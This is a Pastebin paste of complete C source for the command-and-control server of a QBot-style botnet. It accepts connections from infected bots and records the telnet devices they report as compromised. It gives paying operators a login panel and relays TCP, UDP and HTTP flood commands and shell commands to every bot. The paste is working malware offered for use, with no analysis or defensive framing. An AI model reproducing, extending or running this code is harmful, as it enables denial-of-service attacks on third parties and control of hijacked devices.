Advertisement
jazmodz

[QBOT] Server Side

Jul 14th, 2017
2,388
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 24.24 KB | None | 0 0
  1. // \?/  +-++-++-+-+++-  \?/
  2. // - -  ? -+? ????????  - -
  3. // /?\  +-++-+- --+++-  /?\
  4.  
  5. // ENTITY
  6.  
  7. // [ Serverside Commands ]
  8. // .logout  'Logout of your account
  9. // 'Sends a udp based flood to specified target, with a fixed packet size and interval
  10. // 'Sends a tcp based flood to specified target, with persistant tcp socket for buffer spam
  11. // 'Closes the connection socket to the botnet host, disconnects the bot from host
  12.  
  13. // [ Clientside Commands ]
  14. // !* TCP <IP> <PORT> <SECONDS> <SUBNET> <METHOD> <PACKETSIZE> <INTERVAL>  'Sends a tcp based flood to specified target, methods include ALL,SYN,ACK,FIN,RST, and PSH
  15. // !* UDP <IP> <PORT> <SECONDS> <SUBNET> <PACKETSIZE> <INTERVAL>           'Sends a udp based flood to specified target, with a fixed packet size and interval
  16. // !* STD <IP> <PORT> <SECONDS>                                            'Sends a tcp based flood to specified target, with persistant tcp socket for buffer spam
  17. // !* HTTP <URL> <SECONDS>                                                 'Sends a http get flood to specified target, using an array of browser useragents
  18. // !* BOTKILL                                                              'Closes the connection socket to the botnet host, disconnects the bot from host
  19. // !* PING                                                                 'Perform a ping/pong test to update the bot count with active bots
  20.  
  21. #include <stdio.h>
  22. #include <stdlib.h>
  23. #include <stdint.h>
  24. #include <inttypes.h>
  25. #include <string.h>
  26. #include <sys/types.h>
  27. #include <sys/socket.h>
  28. #include <netdb.h>
  29. #include <unistd.h>
  30. #include <time.h>
  31. #include <fcntl.h>
  32. #include <sys/epoll.h>
  33. #include <errno.h>
  34. #include <pthread.h>
  35. #include <signal.h>
  36. #include <arpa/inet.h>
  37. #define MAXFDS 1000000
  38.  
  39. struct login_info {
  40.     char username[100];
  41.     char password[100];
  42. };
  43. static struct login_info accounts[100]; // maximum users allowed in login.txt *edit this if you are selling spots*
  44. struct clientdata_t {
  45.         uint32_t ip;
  46.         char connected;
  47. } clients[MAXFDS];
  48. struct telnetdata_t {
  49.     int connected;
  50. } managements[MAXFDS];
  51. struct args {
  52.     int sock;
  53.     struct sockaddr_in cli_addr;
  54. };
  55. static volatile FILE *telFD;
  56. static volatile FILE *fileFD;
  57. static volatile int epollFD = 0;
  58. static volatile int listenFD = 0;
  59. static volatile int OperatorsConnected = 0;
  60. static volatile int TELFound = 0;
  61. static volatile int scannerreport;
  62.  
  63. int fdgets(unsigned char *buffer, int bufferSize, int fd) {
  64.     int total = 0, got = 1;
  65.     while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  66.     return got;
  67. }
  68. void trim(char *str) {
  69.     int i;
  70.     int begin = 0;
  71.     int end = strlen(str) - 1;
  72.     while (isspace(str[begin])) begin++;
  73.     while ((end >= begin) && isspace(str[end])) end--;
  74.     for (i = begin; i <= end; i++) str[i - begin] = str[i];
  75.     str[i - begin] = '\0';
  76. }
  77. static int make_socket_non_blocking (int sfd) {
  78.     int flags, s;
  79.     flags = fcntl (sfd, F_GETFL, 0);
  80.     if (flags == -1) {
  81.         perror ("fcntl");
  82.         return -1;
  83.     }
  84.     flags |= O_NONBLOCK;
  85.     s = fcntl (sfd, F_SETFL, flags);
  86.     if (s == -1) {
  87.         perror ("fcntl");
  88.         return -1;
  89.     }
  90.     return 0;
  91. }
  92. static int create_and_bind (char *port) {
  93.     struct addrinfo hints;
  94.     struct addrinfo *result, *rp;
  95.     int s, sfd;
  96.     memset (&hints, 0, sizeof (struct addrinfo));
  97.     hints.ai_family = AF_UNSPEC;
  98.     hints.ai_socktype = SOCK_STREAM;
  99.     hints.ai_flags = AI_PASSIVE;
  100.     s = getaddrinfo (NULL, port, &hints, &result);
  101.     if (s != 0) {
  102.         fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  103.         return -1;
  104.     }
  105.     for (rp = result; rp != NULL; rp = rp->ai_next) {
  106.         sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  107.         if (sfd == -1) continue;
  108.         int yes = 1;
  109.         if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  110.         s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  111.         if (s == 0) {
  112.             break;
  113.         }
  114.         close (sfd);
  115.     }
  116.     if (rp == NULL) {
  117.         fprintf (stderr, "Could not bind\n");
  118.         return -1;
  119.     }
  120.     freeaddrinfo (result);
  121.     return sfd;
  122. }
  123. void broadcast(char *msg, int us, char *sender)
  124. {
  125.         int sendMGM = 1;
  126.         if(strcmp(msg, "PING") == 0) sendMGM = 0;
  127.         char *wot = malloc(strlen(msg) + 10);
  128.         memset(wot, 0, strlen(msg) + 10);
  129.         strcpy(wot, msg);
  130.         trim(wot);
  131.         time_t rawtime;
  132.         struct tm * timeinfo;
  133.         time(&rawtime);
  134.         timeinfo = localtime(&rawtime);
  135.         char *timestamp = asctime(timeinfo);
  136.         trim(timestamp);
  137.         int i;
  138.         for(i = 0; i < MAXFDS; i++)
  139.         {
  140.                 if(i == us || (!clients[i].connected &&  (sendMGM == 0 || !managements[i].connected))) continue;
  141.                 if(sendMGM && managements[i].connected)
  142.                 {
  143.                         send(i, "\x1b[35m", 5, MSG_NOSIGNAL);
  144.                         send(i, sender, strlen(sender), MSG_NOSIGNAL);
  145.                         send(i, ": ", 2, MSG_NOSIGNAL);
  146.                 }
  147.                 printf("sent to fd: %d\n", i);
  148.                 send(i, msg, strlen(msg), MSG_NOSIGNAL);
  149.                 if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[31m> \x1b[0m", 13, MSG_NOSIGNAL);
  150.                 else send(i, "\n", 1, MSG_NOSIGNAL);
  151.         }
  152.         free(wot);
  153. }
  154. void *BotEventLoop(void *useless) {
  155.     struct epoll_event event;
  156.     struct epoll_event *events;
  157.     int s;
  158.     events = calloc (MAXFDS, sizeof event);
  159.     while (1) {
  160.         int n, i;
  161.         n = epoll_wait (epollFD, events, MAXFDS, -1);
  162.         for (i = 0; i < n; i++) {
  163.             if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN))) {
  164.                 clients[events[i].data.fd].connected = 0;
  165.                 close(events[i].data.fd);
  166.                 continue;
  167.             }
  168.             else if (listenFD == events[i].data.fd) {
  169.                while (1) {
  170.                 struct sockaddr in_addr;
  171.                 socklen_t in_len;
  172.                 int infd, ipIndex;
  173.  
  174.                 in_len = sizeof in_addr;
  175.                 infd = accept (listenFD, &in_addr, &in_len);
  176.                 if (infd == -1) {
  177.                     if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  178.                     else {
  179.                         perror ("accept");
  180.                         break;
  181.                          }
  182.                 }
  183.  
  184.                 clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  185.                 int dup = 0;
  186.                 for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++) {
  187.                     if(!clients[ipIndex].connected || ipIndex == infd) continue;
  188.                     if(clients[ipIndex].ip == clients[infd].ip) {
  189.                         dup = 1;
  190.                         break;
  191.                     }}
  192.                 if(dup) {
  193.                     if(send(infd, "!* BOTKILL\n", 13, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  194.                     close(infd);
  195.                     continue;
  196.                 }
  197.                 s = make_socket_non_blocking (infd);
  198.                 if (s == -1) { close(infd); break; }
  199.                 event.data.fd = infd;
  200.                 event.events = EPOLLIN | EPOLLET;
  201.                 s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  202.                 if (s == -1) {
  203.                     perror ("epoll_ctl");
  204.                     close(infd);
  205.                     break;
  206.                 }
  207.                 clients[infd].connected = 1;
  208.             }
  209.             continue;
  210.         }
  211.         else {
  212.             int datafd = events[i].data.fd;
  213.             struct clientdata_t *client = &(clients[datafd]);
  214.             int done = 0;
  215.             client->connected = 1;
  216.             while (1) {
  217.                 ssize_t count;
  218.                 char buf[2048];
  219.                 memset(buf, 0, sizeof buf);
  220.                 while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, datafd)) > 0) {
  221.                     if(strstr(buf, "\n") == NULL) { done = 1; break; }
  222.                     trim(buf);
  223.                     if(strcmp(buf, "PING") == 0) {
  224.                         if(send(datafd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; }
  225.                         continue;
  226.                     }
  227.                     if(strstr(buf, "REPORT ") == buf) {
  228.                         char *line = strstr(buf, "REPORT ") + 7;
  229.                         fprintf(telFD, "%s\n", line);
  230.                         fflush(telFD);
  231.                         TELFound++;
  232.                         continue;
  233.                     }
  234.                     if(strstr(buf, "PROBING") == buf) {
  235.                         char *line = strstr(buf, "PROBING");
  236.                         scannerreport = 1;
  237.                         continue;
  238.                     }
  239.                     if(strstr(buf, "REMOVING PROBE") == buf) {
  240.                         char *line = strstr(buf, "REMOVING PROBE");
  241.                         scannerreport = 0;
  242.                         continue;
  243.                     }
  244.                     if(strcmp(buf, "PONG") == 0) {
  245.                         continue;
  246.                     }
  247.                     printf("buf: \"%s\"\n", buf);
  248.                 }
  249.                 if (count == -1) {
  250.                     if (errno != EAGAIN) {
  251.                         done = 1;
  252.                     }
  253.                     break;
  254.                 }
  255.                 else if (count == 0) {
  256.                     done = 1;
  257.                     break;
  258.                 }
  259.             if (done) {
  260.                 client->connected = 0;
  261.                 close(datafd);
  262. }}}}}}
  263. unsigned int BotsConnected() {
  264.     int i = 0, total = 0;
  265.     for(i = 0; i < MAXFDS; i++) {
  266.         if(!clients[i].connected) continue;
  267.         total++;
  268.     }
  269.     return total;
  270. }
  271. void *TitleWriter(void *sock) {
  272.     int datafd = (int)sock;
  273.     char string[2048];
  274.     while(1) {
  275.         memset(string, 0, 2048);
  276.         sprintf(string, "%c]0;Gemini - Bots: %d | Telnet Devices: %d | Users: %d%c", '\033', BotsConnected(), TELFound, OperatorsConnected, '\007');
  277.         if(send(datafd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
  278.         sleep(2);
  279. }}
  280. int Find_Login(char *str) {
  281.     FILE *fp;
  282.     int line_num = 0;
  283.     int find_result = 0, find_line=0;
  284.     char temp[512];
  285.  
  286.     if((fp = fopen("login.txt", "r")) == NULL){
  287.         return(-1);
  288.     }
  289.     while(fgets(temp, 512, fp) != NULL){
  290.         if((strstr(temp, str)) != NULL){
  291.             find_result++;
  292.             find_line = line_num;
  293.         }
  294.         line_num++;
  295.     }
  296.     if(fp)
  297.         fclose(fp);
  298.     if(find_result == 0)return 0;
  299.     return find_line;
  300. }
  301. void *BotWorker(void *sock) {
  302.     int datafd = (int)sock;
  303.     int find_line;
  304.     OperatorsConnected++;
  305.     pthread_t title;
  306.     char buf[2048];
  307.     char* username;
  308.     char* password;
  309.     memset(buf, 0, sizeof buf);
  310.     char botnet[2048];
  311.     memset(botnet, 0, 2048);
  312.     char botcount [2048];
  313.     memset(botcount, 0, 2048);
  314.     char statuscount [2048];
  315.     memset(statuscount, 0, 2048);
  316.  
  317.     FILE *fp;
  318.     int i=0;
  319.     int c;
  320.     fp=fopen("login.txt", "r");
  321.     while(!feof(fp)) {
  322.         c=fgetc(fp);
  323.         ++i;
  324.     }
  325.     int j=0;
  326.     rewind(fp);
  327.     while(j!=i-1) {
  328.         fscanf(fp, "%s %s", accounts[j].username, accounts[j].password);
  329.         ++j;
  330.     }
  331.  
  332.         if(send(datafd, "\x1b[35mUSERNAME:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  333.         if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  334.         trim(buf);
  335.         char* nickstring;
  336.         sprintf(accounts[find_line].username, buf);
  337.         nickstring = ("%s", buf);
  338.         find_line = Find_Login(nickstring);
  339.         if(strcmp(nickstring, accounts[find_line].username) == 0){
  340.         if(send(datafd, "\x1b[35mPASSWORD:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  341.         if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  342.  
  343.         char clearscreen [2048];
  344.         memset(clearscreen, 0, 2048);
  345.         sprintf(clearscreen, "\033[2J\033[1;1H");
  346.         if(send(datafd, clearscreen,         strlen(clearscreen), MSG_NOSIGNAL) == -1) goto end;
  347.  
  348.         trim(buf);
  349.         if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
  350.         memset(buf, 0, 2048);
  351.         goto Banner;
  352.         }
  353.         failed:
  354.         if(send(datafd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  355.         char failed_line1[100];
  356.         char failed_line2[100];
  357.         char failed_line3[100];
  358.         char failed_line4[100];
  359.         char failed_line5[100];
  360.         char failed_line6[100];
  361.         char failed_line7[100];
  362.         char failed_line8[100];
  363.         char failed_line9[100];
  364.         char failed_line10[100];
  365.         char failed_line11[100];
  366.         char failed_line12[100];
  367.  
  368.         sprintf(failed_line1, "\x1b[1;31m              _________                   _______  \r\n");
  369.         sprintf(failed_line2, "\x1b[1;33m    _-----____/   ========================|______| \r\n");
  370.         sprintf(failed_line3, "\x1b[1;32m    |           ______________/                    \r\n");
  371.         sprintf(failed_line4, "\x1b[1;34m    |    ___--_/(_)       ^                        \r\n");
  372.         sprintf(failed_line5, "\x1b[1;35m    |___ ---                                       \r\n");
  373.         sprintf(failed_line6, "\x1b[1;31mI'M GONNA GIVE YOU TO THE COUNT OF TEN TO GET YOUR, UGLY\r\n");
  374.         sprintf(failed_line7, "\x1b[1;31mYELLA, NO GOOD KEESTER OFF MY PROPERTY, BEFORE I PUMP\r\n");
  375.         sprintf(failed_line8, "\x1b[1;31mYOUR GUTS FULL'A LEAD...\r\n");
  376.         sprintf(failed_line9, "\x1b[1;31mONE ...\r\n");
  377.         sprintf(failed_line10,"\x1b[1;31mTWO ...\r\n");
  378.         sprintf(failed_line11,"\x1b[1;31mTEN ...\r\n");
  379.         sprintf(failed_line12,"\x1b[1;31mKEEP THE CHANGE YAH FILTHY ANIMAL.\r\n");
  380.         if(send(datafd, failed_line1, strlen(failed_line1), MSG_NOSIGNAL) == -1) goto end;
  381.         if(send(datafd, failed_line2, strlen(failed_line2), MSG_NOSIGNAL) == -1) goto end;
  382.         if(send(datafd, failed_line3, strlen(failed_line3), MSG_NOSIGNAL) == -1) goto end;
  383.         if(send(datafd, failed_line4, strlen(failed_line4), MSG_NOSIGNAL) == -1) goto end;
  384.         if(send(datafd, failed_line5, strlen(failed_line5), MSG_NOSIGNAL) == -1) goto end;
  385.         if(send(datafd, failed_line6, strlen(failed_line6), MSG_NOSIGNAL) == -1) goto end;
  386.         if(send(datafd, failed_line7, strlen(failed_line7), MSG_NOSIGNAL) == -1) goto end;
  387.         if(send(datafd, failed_line8, strlen(failed_line8), MSG_NOSIGNAL) == -1) goto end;
  388.         sleep(2);
  389.         if(send(datafd, failed_line9, strlen(failed_line9), MSG_NOSIGNAL) == -1) goto end;
  390.         sleep(1);
  391.         if(send(datafd, failed_line10, strlen(failed_line10), MSG_NOSIGNAL) == -1) goto end;
  392.         sleep(1);
  393.         if(send(datafd, failed_line11, strlen(failed_line11), MSG_NOSIGNAL) == -1) goto end;
  394.         sleep(1);
  395.         if(send(datafd, failed_line12, strlen(failed_line12), MSG_NOSIGNAL) == -1) goto end;
  396.         sleep(1);
  397.         goto end;
  398.  
  399.         Banner:
  400.         pthread_create(&title, NULL, &TitleWriter, sock);
  401.         char ascii_banner_line1   [5000];
  402.         char ascii_banner_line2   [5000];
  403.         char ascii_banner_line3   [5000];
  404.         char ascii_banner_line4   [5000];
  405.         char ascii_banner_line5   [5000];
  406.         char ascii_banner_line6   [5000];
  407.         char ascii_banner_line7   [5000];
  408.         char ascii_banner_line8   [5000];
  409.         char ascii_banner_line9   [5000];
  410.         char ascii_banner_line10  [5000];
  411.         char ascii_banner_line11  [5000];
  412.         char ascii_banner_line12  [5000];
  413.         char ascii_banner_line13  [5000];
  414.         char ascii_banner_line14  [5000];
  415.         char welcome_line1        [5000];
  416.         char welcome_line2        [5000];
  417.        
  418.         sprintf(ascii_banner_line1, "\x1b[1;37m**********************************************\r\n");
  419.         sprintf(ascii_banner_line2, "\x1b[1;37m******                                  ******\r\n");
  420.         sprintf(ascii_banner_line3, "\x1b[1;37m*****\x1b[1;35m      \\?/  +-++-++-+-+++-  \\?/      \x1b[1;37m*****\r\n");
  421.         sprintf(ascii_banner_line4, "\x1b[1;37m****\x1b[1;34m       - -  ? -+? ????????  - -       \x1b[1;37m****\r\n");
  422.         sprintf(ascii_banner_line5, "\x1b[1;37m*****\x1b[1;36m      /?\\  +-++-+- --+++-  /?\\      \x1b[1;37m*****\r\n");
  423.         sprintf(ascii_banner_line6, "\x1b[1;37m******                                  ******\r\n");
  424.         sprintf(ascii_banner_line7, "\x1b[1;37m**********************************************\r\n");
  425.         sprintf(welcome_line1,      "\x1b[1;37m[\x1b[1;36m-\x1b[1;37m] \x1b[1;35mWELCOME\x1b[1;37m: \x1b[1;31m%s ", accounts[find_line].username);
  426.         sprintf(welcome_line2,      "\x1b[1;37m[\x1b[1;36m-\x1b[1;37m] \x1b[1;35mBOTS\x1b[1;37m: \x1b[1;31m%d \x1b[1;37m[\x1b[1;36m-\x1b[1;37m] \x1b[1;35mUSERS\x1b[1;37m: \x1b[1;31m%d\r\n", BotsConnected(), OperatorsConnected);
  427.        
  428.         if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  429.         if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  430.         if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  431.         if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  432.         if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  433.         if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  434.         if(send(datafd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  435.         if(send(datafd, welcome_line1,      strlen(welcome_line1),      MSG_NOSIGNAL) == -1) goto end;
  436.         if(send(datafd, welcome_line2,      strlen(welcome_line2),      MSG_NOSIGNAL) == -1) goto end;
  437.         while(1) {
  438.         if(send(datafd, "\x1b[1;31m> \x1b[1;36m", 12, MSG_NOSIGNAL) == -1) goto end;
  439.         break;
  440.         }
  441.         pthread_create(&title, NULL, &TitleWriter, sock);
  442.         managements[datafd].connected = 1;
  443.  
  444.         while(fdgets(buf, sizeof buf, datafd) > 0) {  
  445.             if(strstr(buf, ".count")) {
  446.                 char botcount [5000];
  447.                 memset(botcount, 0, 5000);
  448.                 sprintf(botcount, "\x1b[1;36mBOTS: %d | USERS: %d\r\n", BotsConnected(), OperatorsConnected);
  449.                 if(send(datafd, botcount, strlen(botcount), MSG_NOSIGNAL) == -1) return;
  450.                 while(1) {
  451.                 if(send(datafd, "\x1b[1;31m> \x1b[1;36m", 12, MSG_NOSIGNAL) == -1) goto end;
  452.                 break;
  453.                 }
  454.                 continue;
  455.             }
  456.             if(strstr(buf, ".help")) {
  457.                 pthread_create(&title, NULL, &TitleWriter, sock);
  458.                 char helpline1  [5000];
  459.                 char helpline2  [5000];
  460.                 char helpline3  [5000];
  461.                 char helpline4  [5000];
  462.                 char helpline5  [5000];
  463.                 char helpline6  [5000];
  464.                 char helpline7  [5000];
  465.                 char helpline8  [5000];
  466.                 char helpline9  [5000];
  467.                 char helpline10 [5000];
  468.                 char helpline11 [5000];
  469.                 char helpline12 [5000];
  470.                 char helpline13 [5000];
  471.  
  472.                 sprintf(helpline1,  "\x1b[1;31m~ [ CLIENTSIDE COMMANDS ] ~\r\n");
  473.                 sprintf(helpline2,  "\x1b[1;32m@ \x1b[1;32m!* TCP <TARGET> <PORT> <TIME> <NETMASK> <METHOD> <PACKETSIZE> <INTERVAL>\r\n");
  474.                 sprintf(helpline3,  "\x1b[1;33m@ \x1b[1;33m!* UDP <TARGET> <PORT> <TIME> <NETMASK> <PACKETSIZE> <INTERVAL>\r\n");
  475.                 sprintf(helpline4,  "\x1b[1;34m@ \x1b[1;34m!* STD <TARGET> <PORT> <TIME>\r\n");
  476.                 sprintf(helpline5,  "\x1b[1;35m@ \x1b[1;35m!* HTTP <URL> <TIME>\r\n");
  477.                 sprintf(helpline6,  "\x1b[1;36m@ \x1b[1;36m!* KILLATTK\r\n");
  478.                 sprintf(helpline7,  "\x1b[1;37m@ \x1b[1;37m!* SH\r\n");
  479.                 sprintf(helpline8,  "\x1b[1;31m~ [ SERVERSIDE COMMANDS ] ~\r\n");
  480.                 sprintf(helpline9,  "\x1b[1;32m@ \x1b[1;32m.killattk\r\n");
  481.                 sprintf(helpline10, "\x1b[1;33m@ \x1b[1;33m.botkill\r\n");
  482.                 sprintf(helpline11, "\x1b[1;34m@ \x1b[1;34m.logout\r\n");
  483.                 sprintf(helpline12, "\x1b[1;35m@ \x1b[1;35m.clear\r\n");
  484.                 sprintf(helpline13, "\x1b[1;36m@ \x1b[1;36m.count\r\n");
  485.                
  486.  
  487.                 if(send(datafd, helpline1,  strlen(helpline1),  MSG_NOSIGNAL) == -1) goto end;
  488.                 if(send(datafd, helpline2,  strlen(helpline2),  MSG_NOSIGNAL) == -1) goto end;
  489.                 if(send(datafd, helpline3,  strlen(helpline3),  MSG_NOSIGNAL) == -1) goto end;
  490.                 if(send(datafd, helpline4,  strlen(helpline4),  MSG_NOSIGNAL) == -1) goto end;
  491.                 if(send(datafd, helpline5,  strlen(helpline5),  MSG_NOSIGNAL) == -1) goto end;
  492.                 if(send(datafd, helpline6,  strlen(helpline6),  MSG_NOSIGNAL) == -1) goto end;
  493.                 if(send(datafd, helpline7,  strlen(helpline7),  MSG_NOSIGNAL) == -1) goto end;
  494.                 if(send(datafd, helpline8,  strlen(helpline8),  MSG_NOSIGNAL) == -1) goto end;
  495.                 if(send(datafd, helpline9,  strlen(helpline9),  MSG_NOSIGNAL) == -1) goto end;
  496.                 if(send(datafd, helpline10, strlen(helpline10), MSG_NOSIGNAL) == -1) goto end;
  497.                 if(send(datafd, helpline11, strlen(helpline11), MSG_NOSIGNAL) == -1) goto end;
  498.                 if(send(datafd, helpline12, strlen(helpline12), MSG_NOSIGNAL) == -1) goto end;
  499.                 if(send(datafd, helpline13, strlen(helpline13), MSG_NOSIGNAL) == -1) goto end;
  500.                 pthread_create(&title, NULL, &TitleWriter, sock);
  501.                 while(1) {
  502.                 if(send(datafd, "\x1b[1;31m> \x1b[1;36m", 12, MSG_NOSIGNAL) == -1) goto end;
  503.                 break;
  504.                 }
  505.                 continue;
  506.             }
  507.             if(strstr(buf, ".botkill")) {
  508.                 char gtfomynet [2048];
  509.                 memset(gtfomynet, 0, 2048);
  510.                 sprintf(gtfomynet, "!* BOTKILL\r\n");
  511.                 broadcast(buf, datafd, gtfomynet);
  512.                 while(1) {
  513.                 if(send(datafd, "\x1b[1;31m> \x1b[1;36m", 12, MSG_NOSIGNAL) == -1) goto end;
  514.                 break;
  515.                 }
  516.                 continue;
  517.             }
  518.             if(strstr(buf, ".killattk")) {
  519.                 char killattack [2048];
  520.                 memset(killattack, 0, 2048);
  521.                 sprintf(killattack, "!* KILLATTK\r\n");
  522.                 broadcast(buf, datafd, killattack);
  523.                 while(1) {
  524.                 if(send(datafd, "\x1b[1;31m> \x1b[1;36m", 12, MSG_NOSIGNAL) == -1) goto end;
  525.                 break;
  526.                 }
  527.                 continue;
  528.             }
  529.             if(strstr(buf, ".clear")) {
  530.                 char clearscreen [2048];
  531.                 memset(clearscreen, 0, 2048);
  532.                 sprintf(clearscreen, "\033[2J\033[1;1H");
  533.                 if(send(datafd, clearscreen,        strlen(clearscreen), MSG_NOSIGNAL) == -1) goto end;
  534.                 if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  535.                 if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  536.                 if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  537.                 if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  538.                 if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  539.                 if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  540.                 if(send(datafd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  541.                 if(send(datafd, welcome_line1,      strlen(welcome_line1),      MSG_NOSIGNAL) == -1) goto end;
  542.                 if(send(datafd, welcome_line2,      strlen(welcome_line2),      MSG_NOSIGNAL) == -1) goto end;
  543.                 while(1) {
  544.                 if(send(datafd, "\x1b[1;31m> \x1b[1;36m", 12, MSG_NOSIGNAL) == -1) goto end;
  545.                 break;
  546.                 }
  547.                 continue;
  548.             }
  549.             if(strstr(buf, ".logout")) {
  550.                 char logoutmessage [2048];
  551.                 memset(logoutmessage, 0, 2048);
  552.                 sprintf(logoutmessage, "BYE, %s", accounts[find_line].username);
  553.                 if(send(datafd, logoutmessage, strlen(logoutmessage), MSG_NOSIGNAL) == -1)goto end;
  554.                 sleep(2);
  555.                 goto end;
  556.             }
  557.  
  558.             trim(buf);
  559.             if(send(datafd, "\x1b[1;31m> \x1b[1;36m", 11, MSG_NOSIGNAL) == -1) goto end;
  560.             if(strlen(buf) == 0) continue;
  561.             printf("%s: \"%s\"\n",accounts[find_line].username, buf);
  562.  
  563.             FILE *LogFile;
  564.             LogFile = fopen("server.log", "a");
  565.             time_t now;
  566.             struct tm *gmt;
  567.             char formatted_gmt [50];
  568.             char lcltime[50];
  569.             now = time(NULL);
  570.             gmt = gmtime(&now);
  571.             strftime ( formatted_gmt, sizeof(formatted_gmt), "%I:%M %p", gmt );
  572.             fprintf(LogFile, "[%s] %s: %s\n", formatted_gmt, accounts[find_line].username, buf);
  573.             fclose(LogFile);
  574.             broadcast(buf, datafd, accounts[find_line].username);
  575.             memset(buf, 0, 2048);
  576.         }
  577.  
  578.         end:
  579.         managements[datafd].connected = 0;
  580.         close(datafd);
  581.         OperatorsConnected--;
  582. }
  583. void *BotListener(int port) {
  584.     int sockfd, newsockfd;
  585.     socklen_t clilen;
  586.     struct sockaddr_in serv_addr, cli_addr;
  587.     sockfd = socket(AF_INET, SOCK_STREAM, 0);
  588.     if (sockfd < 0) perror("ERROR opening socket");
  589.     bzero((char *) &serv_addr, sizeof(serv_addr));
  590.     serv_addr.sin_family = AF_INET;
  591.     serv_addr.sin_addr.s_addr = INADDR_ANY;
  592.     serv_addr.sin_port = htons(port);
  593.     if (bind(sockfd, (struct sockaddr *) &serv_addr,  sizeof(serv_addr)) < 0) perror("ERROR on binding");
  594.     listen(sockfd,5);
  595.     clilen = sizeof(cli_addr);
  596.     while(1) {
  597.         newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  598.         if (newsockfd < 0) perror("ERROR on accept");
  599.         pthread_t thread;
  600.         pthread_create( &thread, NULL, &BotWorker, (void *)newsockfd);
  601. }}
  602. int main (int argc, char *argv[], void *sock) {
  603.         signal(SIGPIPE, SIG_IGN);
  604.         int s, threads, port;
  605.         struct epoll_event event;
  606.         //system("");
  607.         if (argc != 4) {
  608.             fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]);
  609.             exit (EXIT_FAILURE);
  610.         }
  611.         port = atoi(argv[3]);
  612.         telFD = fopen("telnet.txt", "a+");
  613.         threads = atoi(argv[2]);
  614.         listenFD = create_and_bind (argv[1]);
  615.         if (listenFD == -1) abort ();
  616.         s = make_socket_non_blocking (listenFD);
  617.         if (s == -1) abort ();
  618.         s = listen (listenFD, SOMAXCONN);
  619.         if (s == -1) {
  620.             perror ("listen");
  621.             abort ();
  622.         }
  623.         epollFD = epoll_create1 (0);
  624.         if (epollFD == -1) {
  625.             perror ("epoll_create");
  626.             abort ();
  627.         }
  628.         event.data.fd = listenFD;
  629.         event.events = EPOLLIN | EPOLLET;
  630.         s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  631.         if (s == -1) {
  632.             perror ("epoll_ctl");
  633.             abort ();
  634.         }
  635.         pthread_t thread[threads + 2];
  636.         while(threads--) {
  637.             pthread_create( &thread[threads + 1], NULL, &BotEventLoop, (void *) NULL);
  638.         }
  639.         pthread_create(&thread[0], NULL, &BotListener, port);
  640.         while(1) {
  641.             broadcast("PING", -1, "LEL");
  642.             sleep(60);
  643.         }
  644.         close (listenFD);
  645.         return EXIT_SUCCESS;
  646. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement